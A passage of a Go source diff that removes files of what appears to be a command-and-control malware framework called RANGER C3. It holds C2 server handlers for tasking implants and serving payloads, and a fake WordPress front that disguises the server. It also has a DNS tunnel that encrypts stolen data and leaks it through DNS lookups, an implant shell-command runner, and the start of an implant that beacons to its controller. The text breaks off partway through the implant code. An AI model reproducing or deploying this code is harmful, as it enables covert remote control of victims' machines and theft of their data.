|
||||
return
|
||||
}
|
||||
|
||||
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
|
||||
"sub": "operator",
|
||||
"iat": time.Now().Unix(),
|
||||
"exp": time.Now().Add(24 * time.Hour).Unix(),
|
||||
})
|
||||
tokenStr, _ := token.SignedString(s.cfg.SessionKey)
|
||||
|
||||
s.dashMu.Lock()
|
||||
s.dashTokens[tokenStr] = time.Now().Add(24 * time.Hour)
|
||||
s.dashMu.Unlock()
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{"token": tokenStr})
|
||||
}
|
||||
|
||||
// passwordOK verifies an operator password against bcrypt hash or plaintext.
|
||||
func (s *Server) passwordOK(given string) bool {
|
||||
cfg := s.cfg.DashboardPW
|
||||
if cfg == "" {
|
||||
return false
|
||||
}
|
||||
if strings.HasPrefix(cfg, "$2") {
|
||||
return bcrypt.CompareHashAndPassword([]byte(cfg), []byte(given)) == nil
|
||||
}
|
||||
return subtle.ConstantTimeCompare([]byte(given), []byte(cfg)) == 1
|
||||
}
|
||||
|
||||
func (s *Server) authMiddleware(next http.HandlerFunc) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
token := r.Header.Get("Authorization")
|
||||
if token == "" {
|
||||
// Check cookie as fallback
|
||||
c, err := r.Cookie("token")
|
||||
if err == nil {
|
||||
token = c.Value
|
||||
}
|
||||
} else {
|
||||
token = strings.TrimPrefix(token, "Bearer ")
|
||||
}
|
||||
|
||||
if token == "" {
|
||||
if strings.Contains(r.URL.Path, "/dashboard") && r.Method == http.MethodGet {
|
||||
// Redirect to login
|
||||
w.Header().Set("Location", "/")
|
||||
w.WriteHeader(302)
|
||||
return
|
||||
}
|
||||
http.Error(w, "unauthorized", 401)
|
||||
return
|
||||
}
|
||||
|
||||
s.dashMu.Lock()
|
||||
exp, ok := s.dashTokens[token]
|
||||
s.dashMu.Unlock()
|
||||
|
||||
if !ok || time.Now().After(exp) {
|
||||
http.Error(w, "token expired", 401)
|
||||
return
|
||||
}
|
||||
|
||||
next(w, r)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) handleListImplants(w http.ResponseWriter, r *http.Request) {
|
||||
implants, err := s.store.ListImplants()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
if implants == nil {
|
||||
implants = []protocol.ImplantRecord{}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"implants": implants,
|
||||
"count": len(implants),
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleImplantDetail(w http.ResponseWriter, r *http.Request) {
|
||||
id := strings.TrimPrefix(r.URL.Path, "/api/dashboard/implant/")
|
||||
implant, err := s.store.GetImplant(id)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", 404)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"implant": implant,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleCreateTask(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "method not allowed", 405)
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
ImplantID string `json:"implant_id"`
|
||||
Type string `json:"type"`
|
||||
Payload map[string]any `json:"payload"`
|
||||
Channel string `json:"channel"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", 400)
|
||||
return
|
||||
}
|
||||
|
||||
if req.Channel == "" {
|
||||
req.Channel = "primary"
|
||||
}
|
||||
|
||||
task, err := s.store.CreateTask(req.ImplantID, req.Type, req.Channel, req.Payload)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"task_id": task.ID,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleImplantTasks(w http.ResponseWriter, r *http.Request) {
|
||||
id := strings.TrimPrefix(r.URL.Path, "/api/dashboard/tasks/")
|
||||
tasks, err := s.store.PendingTasks(id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
if tasks == nil {
|
||||
tasks = []protocol.Task{}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"tasks": tasks,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleListPeers(w http.ResponseWriter, r *http.Request) {
|
||||
peers, err := s.store.ListMeshNodes()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
if peers == nil {
|
||||
peers = []protocol.MeshNode{}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"peers": peers,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleGetConfig(w http.ResponseWriter, r *http.Request) {
|
||||
count, _ := s.store.ImplantCount()
|
||||
peers, _ := s.store.ListMeshNodes()
|
||||
|
||||
cfg := protocol.APIConfig{
|
||||
Version: "3.0.0",
|
||||
C2ID: s.cfg.C2ID,
|
||||
Implants: count,
|
||||
Peers: len(peers),
|
||||
Uptime: time.Since(s.startTime).Round(time.Second).String(),
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"config": cfg,
|
||||
})
|
||||
}
|
||||
|
||||
func (s *Server) handleExfilData(w http.ResponseWriter, r *http.Request) {
|
||||
parts := strings.Split(strings.TrimPrefix(r.URL.Path, "/api/dashboard/exfil/"), "/")
|
||||
if len(parts) == 0 || parts[0] == "" {
|
||||
http.Error(w, "missing implant id", 400)
|
||||
return
|
||||
}
|
||||
implantID := parts[0]
|
||||
|
||||
// Return exfil data for this implant
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"success": true,
|
||||
"implant": implantID,
|
||||
"message": "exfil data endpoint active",
|
||||
})
|
||||
}
|
||||
|
||||
// --- Hidden Dashboard UI ---
|
||||
|
||||
func (s *Server) handleDashboardUI(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
fmt.Fprint(w, dashboardHTML)
|
||||
}
|
||||
|
||||
// --- Catch-All (WordPress Mimicry) ---
|
||||
|
||||
func (s *Server) handleCatchAll(w http.ResponseWriter, r *http.Request) {
|
||||
// Serve WordPress-mimicking response
|
||||
w.Header().Set("Content-Type", "text/html; charset=utf-8")
|
||||
w.Header().Set("X-Powered-By", "PHP/7.4.33")
|
||||
w.Header().Set("X-Generator", "WordPress 6.4.2")
|
||||
|
||||
path := html.EscapeString(r.URL.Path)
|
||||
if strings.HasSuffix(path, ".php") || strings.HasSuffix(path, "/") {
|
||||
fmt.Fprintf(w, `<!DOCTYPE html>
|
||||
<html><head><title>WordPress Site</title></head>
|
||||
<body><h1>Welcome to WordPress</h1><p>This is a WordPress installation.</p></body></html>`)
|
||||
} else {
|
||||
// Redirect unknown requests to wordpress.org
|
||||
http.Redirect(w, r, "https://wordpress.org", 302)
|
||||
}
|
||||
}
|
||||
|
||||
// --- Payload Serving ---
|
||||
|
||||
// handleServePayload serves payload files to implants.
|
||||
func (s *Server) handleServePayload(w http.ResponseWriter, r *http.Request) {
|
||||
payloadName := strings.TrimPrefix(r.URL.Path, "/api/v1/payloads/")
|
||||
if payloadName == "" || strings.Contains(payloadName, "..") {
|
||||
http.Error(w, "invalid payload", 400)
|
||||
return
|
||||
}
|
||||
|
||||
// Resolve payload path (look in manifest first, then direct file)
|
||||
payloadPath := filepath.Join("payloads", payloadName)
|
||||
if _, err := os.Stat(payloadPath); os.IsNotExist(err) {
|
||||
http.Error(w, "payload not found", 404)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("X-Payload-Version", "3.0.0")
|
||||
http.ServeFile(w, r, payloadPath)
|
||||
}
|
||||
|
||||
type payloadManifestEntry struct {
|
||||
Name string `json:"name"`
|
||||
File string `json:"file"`
|
||||
Category string `json:"category"`
|
||||
Desc string `json:"desc"`
|
||||
Platform string `json:"platform"`
|
||||
Args string `json:"args"`
|
||||
}
|
||||
|
||||
type payloadManifest struct {
|
||||
Version string `json:"version"`
|
||||
Payloads []payloadManifestEntry `json:"payloads"`
|
||||
}
|
||||
|
||||
// handleListPayloads lists available payloads from the manifest.
|
||||
func (s *Server) handleListPayloads(w http.ResponseWriter, r *http.Request) {
|
||||
manifestPath := filepath.Join("payloads", "manifest.json")
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
// No manifest - scan directory
|
||||
entries, err := os.ReadDir("payloads")
|
||||
if err != nil {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": []payloadManifestEntry{}})
|
||||
return
|
||||
}
|
||||
var payloads []payloadManifestEntry
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && filepath.Ext(e.Name()) == ".py" {
|
||||
payloads = append(payloads, payloadManifestEntry{
|
||||
Name: strings.TrimSuffix(e.Name(), ".py"),
|
||||
File: e.Name(),
|
||||
Category: "general",
|
||||
Desc: "Python payload module",
|
||||
Platform: "all",
|
||||
})
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": payloads})
|
||||
return
|
||||
}
|
||||
|
||||
var manifest payloadManifest
|
||||
if err := json.Unmarshal(data, &manifest); err != nil {
|
||||
http.Error(w, "invalid manifest", 500)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"success": true, "payloads": manifest.Payloads})
|
||||
}
|
||||
|
||||
// PublicKey returns the server's Ed25519 public key.
|
||||
func (s *Server) PublicKey() []byte {
|
||||
return s.keyPair.Public
|
||||
}
|
||||
@@ -1,147 +0,0 @@
|
||||
// Package crypto provides cryptographic primitives for the C2 framework.
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/chacha20poly1305"
|
||||
)
|
||||
|
||||
// KeyPair holds an Ed25519 signing keypair.
|
||||
type KeyPair struct {
|
||||
Private ed25519.PrivateKey
|
||||
Public ed25519.PublicKey
|
||||
}
|
||||
|
||||
// GenerateKeyPair creates a new Ed25519 signing keypair.
|
||||
func GenerateKeyPair() (*KeyPair, error) {
|
||||
pub, priv, err := ed25519.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate keypair: %w", err)
|
||||
}
|
||||
return &KeyPair{Private: priv, Public: pub}, nil
|
||||
}
|
||||
|
||||
// Sign signs data with the private key, including a timestamp and nonce to prevent replay.
|
||||
func (kp *KeyPair) Sign(data []byte) (signature []byte, nonce string, ts int64, err error) {
|
||||
nonceBytes := make([]byte, 16)
|
||||
if _, err := io.ReadFull(rand.Reader, nonceBytes); err != nil {
|
||||
return nil, "", 0, err
|
||||
}
|
||||
nonce = base64.RawStdEncoding.EncodeToString(nonceBytes)
|
||||
ts = time.Now().Unix()
|
||||
msg := append(data, []byte(fmt.Sprintf("%d%s", ts, nonce))...)
|
||||
sig := ed25519.Sign(kp.Private, msg)
|
||||
return sig, nonce, ts, nil
|
||||
}
|
||||
|
||||
// Verify checks an Ed25519 signature with optional replay protection.
|
||||
// If nonce is empty, only timestamp window is checked.
|
||||
func Verify(publicKey ed25519.PublicKey, data, sig []byte, nonce string, ts int64, seenNonces map[string]bool) error {
|
||||
now := time.Now().Unix()
|
||||
if abs(now-ts) > 300 {
|
||||
return errors.New("signature timestamp out of window")
|
||||
}
|
||||
if nonce != "" {
|
||||
if len(nonce) < 8 {
|
||||
return errors.New("nonce too short")
|
||||
}
|
||||
if seenNonces != nil {
|
||||
if seenNonces[nonce] {
|
||||
return errors.New("nonce replay detected")
|
||||
}
|
||||
seenNonces[nonce] = true
|
||||
}
|
||||
}
|
||||
msg := append(data, []byte(fmt.Sprintf("%d%s", ts, nonce))...)
|
||||
if !ed25519.Verify(publicKey, msg, sig) {
|
||||
return errors.New("invalid signature")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// EncryptWithAEAD encrypts plaintext using XChaCha20-Poly1305.
|
||||
// Returns nonce || ciphertext.
|
||||
func EncryptWithAEAD(key []byte, plaintext []byte) ([]byte, error) {
|
||||
aead, err := chacha20poly1305.NewX(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonce := make([]byte, aead.NonceSize())
|
||||
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// DecryptWithAEAD decrypts using XChaCha20-Poly1305.
|
||||
// Expects nonce || ciphertext.
|
||||
func DecryptWithAEAD(key []byte, data []byte) ([]byte, error) {
|
||||
aead, err := chacha20poly1305.NewX(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nonceSize := aead.NonceSize()
|
||||
if len(data) < nonceSize {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
|
||||
return aead.Open(nil, nonce, ciphertext, nil)
|
||||
}
|
||||
|
||||
// DeriveSessionKey derives a 32-byte session key from a shared secret.
|
||||
func DeriveSessionKey(secret []byte, salt []byte) []byte {
|
||||
h := sha256.Sum256(append(secret, salt...))
|
||||
return h[:]
|
||||
}
|
||||
|
||||
// MarshalPublicKey PEM-encodes an Ed25519 public key.
|
||||
func MarshalPublicKey(pub ed25519.PublicKey) ([]byte, error) {
|
||||
der, err := x509.MarshalPKIXPublicKey(pub)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return pem.EncodeToMemory(&pem.Block{
|
||||
Type: "PUBLIC KEY",
|
||||
Bytes: der,
|
||||
}), nil
|
||||
}
|
||||
|
||||
// UnmarshalPublicKey decodes a PEM-encoded Ed25519 public key.
|
||||
func UnmarshalPublicKey(pemData []byte) (ed25519.PublicKey, error) {
|
||||
block, _ := pem.Decode(pemData)
|
||||
if block == nil {
|
||||
return nil, errors.New("failed to decode PEM")
|
||||
}
|
||||
pub, err := x509.ParsePKIXPublicKey(block.Bytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
edPub, ok := pub.(ed25519.PublicKey)
|
||||
if !ok {
|
||||
return nil, errors.New("not an Ed25519 public key")
|
||||
}
|
||||
return edPub, nil
|
||||
}
|
||||
|
||||
// HexDecode decodes a hex string into bytes.
|
||||
func HexDecode(s string) ([]byte, error) {
|
||||
return hex.DecodeString(s)
|
||||
}
|
||||
|
||||
func abs(x int64) int64 {
|
||||
if x < 0 {
|
||||
return -x
|
||||
}
|
||||
return x
|
||||
}
|
||||
@@ -1,115 +0,0 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAEADRoundTrip(t *testing.T) {
|
||||
key := make([]byte, 32)
|
||||
for i := range key {
|
||||
key[i] = byte(i)
|
||||
}
|
||||
msg := []byte("ranger c3 encrypted channel")
|
||||
|
||||
ct, err := EncryptWithAEAD(key, msg)
|
||||
if err != nil {
|
||||
t.Fatalf("encrypt: %v", err)
|
||||
}
|
||||
if bytes.Equal(ct, msg) {
|
||||
t.Fatal("ciphertext equals plaintext")
|
||||
}
|
||||
pt, err := DecryptWithAEAD(key, ct)
|
||||
if err != nil {
|
||||
t.Fatalf("decrypt: %v", err)
|
||||
}
|
||||
if !bytes.Equal(pt, msg) {
|
||||
t.Fatalf("round-trip mismatch: %q", pt)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAEADTamperDetected(t *testing.T) {
|
||||
key := make([]byte, 32)
|
||||
msg := []byte("integrity check")
|
||||
|
||||
ct, err := EncryptWithAEAD(key, msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ct[len(ct)-1] ^= 0xff
|
||||
if _, err := DecryptWithAEAD(key, ct); err == nil {
|
||||
t.Fatal("tampered ciphertext accepted")
|
||||
}
|
||||
|
||||
badKey := make([]byte, 32)
|
||||
badKey[0] = 0x42
|
||||
ct2, _ := EncryptWithAEAD(key, msg)
|
||||
if _, err := DecryptWithAEAD(badKey, ct2); err == nil {
|
||||
t.Fatal("wrong key accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestKeyPairSignVerify(t *testing.T) {
|
||||
kp, err := GenerateKeyPair()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data := []byte("mesh heartbeat payload")
|
||||
sig, nonce, ts, err := kp.Sign(data)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
if err := Verify(kp.Public, data, sig, nonce, ts, seen); err != nil {
|
||||
t.Fatalf("verify: %v", err)
|
||||
}
|
||||
|
||||
// Replay with same nonce must fail.
|
||||
if err := Verify(kp.Public, data, sig, nonce, ts, seen); err == nil {
|
||||
t.Fatal("replay with same nonce accepted")
|
||||
}
|
||||
|
||||
// Tampered data must fail.
|
||||
if err := Verify(kp.Public, []byte("tampered"), sig, nonce, ts, seen); err == nil {
|
||||
t.Fatal("tampered data accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeriveSessionKeyDeterministic(t *testing.T) {
|
||||
secret := []byte("shared-secret")
|
||||
salt := []byte("dns-tunnel")
|
||||
|
||||
a := DeriveSessionKey(secret, salt)
|
||||
b := DeriveSessionKey(secret, salt)
|
||||
if !bytes.Equal(a, b) {
|
||||
t.Fatal("derivation not deterministic")
|
||||
}
|
||||
if len(a) != 32 {
|
||||
t.Fatalf("derived key length %d", len(a))
|
||||
}
|
||||
c := DeriveSessionKey(secret, []byte("other"))
|
||||
if bytes.Equal(a, c) {
|
||||
t.Fatal("different salt produced same key")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublicKeyMarshal(t *testing.T) {
|
||||
kp, err := GenerateKeyPair()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pemBytes, err := MarshalPublicKey(kp.Public)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pub, err := UnmarshalPublicKey(pemBytes)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !pub.Equal(ed25519.PublicKey(kp.Public)) {
|
||||
t.Fatal("public key round-trip mismatch")
|
||||
}
|
||||
}
|
||||
@@ -1,211 +0,0 @@
|
||||
// Package dns provides DNS tunneling for secondary C2 communication.
|
||||
package dns
|
||||
|
||||
import (
|
||||
"encoding/base32"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/saviorSEC/ranger/internal/crypto"
|
||||
)
|
||||
|
||||
// Tunnel provides DNS-based data exfiltration and command reception.
|
||||
type Tunnel struct {
|
||||
Domain string
|
||||
Key []byte
|
||||
chunkSize int
|
||||
seenChunks map[string]map[int]string // sessionID -> seq -> chunk
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// Fragment represents a single DNS query fragment.
|
||||
type Fragment struct {
|
||||
Seq int
|
||||
Chunk string
|
||||
FileMarker string
|
||||
SessionID string
|
||||
}
|
||||
|
||||
// New creates a DNS tunnel.
|
||||
func New(domain string, key []byte) *Tunnel {
|
||||
return &Tunnel{
|
||||
Domain: domain,
|
||||
Key: key,
|
||||
chunkSize: 60,
|
||||
seenChunks: make(map[string]map[int]string),
|
||||
}
|
||||
}
|
||||
|
||||
// Exfiltrate fragments data into DNS queries and sends them.
|
||||
// Uses base32 for DNS-safe encoding with XChaCha20-Poly1305 encryption.
|
||||
func (t *Tunnel) Exfiltrate(data []byte, filename string) error {
|
||||
// Encrypt
|
||||
encrypted, err := crypto.EncryptWithAEAD(t.Key, data)
|
||||
if err != nil {
|
||||
return fmt.Errorf("encrypt: %w", err)
|
||||
}
|
||||
|
||||
// Base32 encode
|
||||
encoded := strings.TrimRight(base32.StdEncoding.EncodeToString(encrypted), "=")
|
||||
|
||||
sessionID := fmt.Sprintf("%x", time.Now().UnixNano())[:8]
|
||||
fileTag := "data"
|
||||
if filename != "" {
|
||||
fileTag = strings.TrimRight(base32.StdEncoding.EncodeToString([]byte(filename))[:20], "=")
|
||||
}
|
||||
|
||||
// Fragment
|
||||
chunks := splitString(encoded, t.chunkSize)
|
||||
|
||||
for i, chunk := range chunks {
|
||||
query := fmt.Sprintf("v%04x.%s.%s.%s.%s", i, chunk, fileTag, sessionID, t.Domain)
|
||||
|
||||
// Ensure DNS length limit
|
||||
if len(query) > 253 {
|
||||
subchunks := splitString(chunk, 40)
|
||||
for j, sub := range subchunks {
|
||||
subQ := fmt.Sprintf("v%04xs%02x.%s.%s.%s.%s", i, j, sub, fileTag, sessionID, t.Domain)
|
||||
resolveDNS(subQ)
|
||||
time.Sleep(time.Duration(100+rand.Intn(200)) * time.Millisecond)
|
||||
}
|
||||
} else {
|
||||
resolveDNS(query)
|
||||
}
|
||||
|
||||
if i < len(chunks)-1 {
|
||||
time.Sleep(time.Duration(300+rand.Intn(700)) * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Reconstruct reassembles fragmented data from a complete session.
|
||||
func (t *Tunnel) Reconstruct(sessionID string) ([]byte, error) {
|
||||
t.mu.Lock()
|
||||
chunks, ok := t.seenChunks[sessionID]
|
||||
delete(t.seenChunks, sessionID)
|
||||
t.mu.Unlock()
|
||||
|
||||
if !ok || len(chunks) == 0 {
|
||||
return nil, fmt.Errorf("no chunks for session %s", sessionID)
|
||||
}
|
||||
|
||||
// Sort by sequence
|
||||
var sorted []string
|
||||
maxSeq := 0
|
||||
for seq := range chunks {
|
||||
if seq > maxSeq {
|
||||
maxSeq = seq
|
||||
}
|
||||
}
|
||||
for i := 0; i <= maxSeq; i++ {
|
||||
if c, ok := chunks[i]; ok {
|
||||
sorted = append(sorted, c)
|
||||
}
|
||||
}
|
||||
|
||||
encoded := strings.Join(sorted, "")
|
||||
|
||||
// Pad for base32
|
||||
switch len(encoded) % 8 {
|
||||
case 2:
|
||||
encoded += "======"
|
||||
case 4:
|
||||
encoded += "===="
|
||||
case 5:
|
||||
encoded += "==="
|
||||
case 7:
|
||||
encoded += "="
|
||||
}
|
||||
|
||||
encrypted, err := base32.StdEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("base32 decode: %w", err)
|
||||
}
|
||||
|
||||
return crypto.DecryptWithAEAD(t.Key, encrypted)
|
||||
}
|
||||
|
||||
// ParseFragment extracts fragment data from a DNS query name.
|
||||
func (t *Tunnel) ParseFragment(qname string) *Fragment {
|
||||
qname = strings.TrimSuffix(qname, ".")
|
||||
if !strings.HasSuffix(qname, t.Domain) {
|
||||
return nil
|
||||
}
|
||||
|
||||
subdomain := strings.TrimSuffix(qname, "."+t.Domain)
|
||||
parts := strings.Split(subdomain, ".")
|
||||
|
||||
if len(parts) < 4 || !strings.HasPrefix(parts[0], "v") {
|
||||
return nil
|
||||
}
|
||||
|
||||
seqStr := strings.TrimPrefix(parts[0], "v")
|
||||
seq := 0
|
||||
fmt.Sscanf(seqStr, "%04x", &seq)
|
||||
|
||||
return &Fragment{
|
||||
Seq: seq,
|
||||
Chunk: parts[1],
|
||||
FileMarker: parts[2],
|
||||
SessionID: parts[3],
|
||||
}
|
||||
}
|
||||
|
||||
// ReceiveFragment stores a received fragment for later reconstruction.
|
||||
func (t *Tunnel) ReceiveFragment(f *Fragment) (complete bool) {
|
||||
t.mu.Lock()
|
||||
defer t.mu.Unlock()
|
||||
|
||||
if t.seenChunks[f.SessionID] == nil {
|
||||
t.seenChunks[f.SessionID] = make(map[int]string)
|
||||
}
|
||||
t.seenChunks[f.SessionID][f.Seq] = f.Chunk
|
||||
|
||||
// Check if session looks complete (last chunk < 60 chars)
|
||||
return len(f.Chunk) < t.chunkSize
|
||||
}
|
||||
|
||||
// EncodeCommand encodes a command into DNS-safe format.
|
||||
func (t *Tunnel) EncodeCommand(cmd string) (string, error) {
|
||||
encrypted, err := crypto.EncryptWithAEAD(t.Key, []byte(cmd))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.RawStdEncoding.EncodeToString(encrypted), nil
|
||||
}
|
||||
|
||||
// DecodeCommand decodes a DNS response into a command.
|
||||
func (t *Tunnel) DecodeCommand(encoded string) (string, error) {
|
||||
raw, err := base64.RawStdEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
dec, err := crypto.DecryptWithAEAD(t.Key, raw)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(dec), nil
|
||||
}
|
||||
|
||||
func resolveDNS(query string) {
|
||||
net.LookupHost(query)
|
||||
}
|
||||
|
||||
func splitString(s string, n int) []string {
|
||||
var chunks []string
|
||||
for i := 0; i < len(s); i += n {
|
||||
end := i + n
|
||||
if end > len(s) {
|
||||
end = len(s)
|
||||
}
|
||||
chunks = append(chunks, s[i:end])
|
||||
}
|
||||
return chunks
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package implantpkg
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os/exec"
|
||||
"time"
|
||||
)
|
||||
|
||||
func execCommandGeneric(shell, flag, cmd string) (string, error) {
|
||||
c := exec.Command(shell, flag, cmd)
|
||||
var stdout, stderr bytes.Buffer
|
||||
c.Stdout = &stdout
|
||||
c.Stderr = &stderr
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- c.Run()
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-done:
|
||||
out := stdout.String()
|
||||
if stderr.Len() > 0 {
|
||||
out += "\nSTDERR: " + stderr.String()
|
||||
}
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
return out, nil
|
||||
case <-time.After(30 * time.Second):
|
||||
c.Process.Kill()
|
||||
return stdout.String(), nil
|
||||
}
|
||||
}
|
||||
@@ -1,491 +0,0 @@
|
||||
// Package implantpkg provides the core implant logic shared across platforms.
|
||||
package implantpkg
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
"github.com/saviorSEC/RANGER_C3/internal/crypto"
|
||||
"github.com/saviorSEC/RANGER_C3/internal/dns"
|
||||
"github.com/saviorSEC/RANGER_C3/internal/payloads"
|
||||
"github.com/saviorSEC/RANGER_C3/internal/protocol"
|
||||
)
|
||||
|
||||
const (
|
||||
MinUptimeSec = 300 // 5 min
|
||||
MinDiskGB = 10
|
||||
)
|
||||
|
||||
// Config for the implant.
|
||||
type Config struct {
|
||||
C2URL string // WebSocket URL for primary C2
|
||||
C2Fingerprint string // SHA-256 certificate fingerprint to pin (hex)
|
||||
SessionKey []byte // pre-shared session key
|
||||
DNSDomain string // fallback DNS tunnel domain
|
||||
MeshPeers []string // fallback P2P peers
|
||||
BeaconMin int // min beacon interval (seconds)
|
||||
BeaconMax int // max beacon interval (seconds)
|
||||
Debug bool
|
||||
SkipTLSVerify bool // skip TLS certificate verification
|
||||
CAFile string // PEM file with CA / server certificate to trust
|
||||
}
|
||||
|
||||
// Implant is the core agent.
|
||||
type Implant struct {
|
||||
cfg Config
|
||||
id string
|
||||
hostname string
|
||||
arch string
|
||||
targetProc string
|
||||
dnsTunnel *dns.Tunnel
|
||||
wsConn *websocket.Conn
|
||||
wsMu sync.Mutex
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
// New creates a new implant instance.
|
||||
func New(cfg Config) *Implant {
|
||||
hostname, _ := os.Hostname()
|
||||
id := generateMachineID(hostname)
|
||||
|
||||
var dnsT *dns.Tunnel
|
||||
if cfg.DNSDomain != "" {
|
||||
key := crypto.DeriveSessionKey(cfg.SessionKey, []byte("dns-tunnel"))
|
||||
dnsT = dns.New(cfg.DNSDomain, key)
|
||||
}
|
||||
|
||||
return &Implant{
|
||||
cfg: cfg,
|
||||
id: id,
|
||||
hostname: hostname,
|
||||
arch: runtime.GOARCH,
|
||||
targetProc: selectTargetProcess(),
|
||||
dnsTunnel: dnsT,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// ID returns the implant's unique identifier.
|
||||
func (im *Implant) ID() string { return im.id[:16] }
|
